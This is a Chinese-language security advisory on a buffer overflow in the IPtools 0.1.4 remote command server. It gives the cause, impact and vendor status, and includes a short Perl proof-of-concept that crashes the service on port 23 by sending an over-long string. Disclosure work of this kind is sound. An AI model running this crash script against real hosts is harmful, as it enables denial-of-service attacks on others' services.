IPtools远程命令服务器缓冲区溢出漏洞

漏洞起因
边界条件错误
危险等级

影响系统
IPtools 0.1.4

不受影响系统

危害
远程攻击者可以利用漏洞使应用程序崩溃。

攻击所需条件
攻击者必须访问IP-Tools。

漏洞信息
IP-Tools是一个将网络工具与信息整合在一起的工具程序。
IP-Tools包含一个远程命令服务器,绑定23端口,没有正确过滤命令输入长度,攻击者发送超过255字符的字符串可使服务程序崩溃。

测试方法
#————————————————————-
#!/usr/bin/perl -w
#IpTools(0.1.4) – Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed]
#————————————————————-
use IO::Socket;
$remote_host = ‘127.0.0.1’; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die “$remote_host -> $remote_port is closed!\n”;
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send(“a”, 0);
$count++;
}
$sock->send(“\r\n”, 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#————————————————————-

厂商解决方案
目前没有详细解决方案提供:
http://sourceforge.net/projects/iptools/

漏洞提供者
demonalex

评论关闭。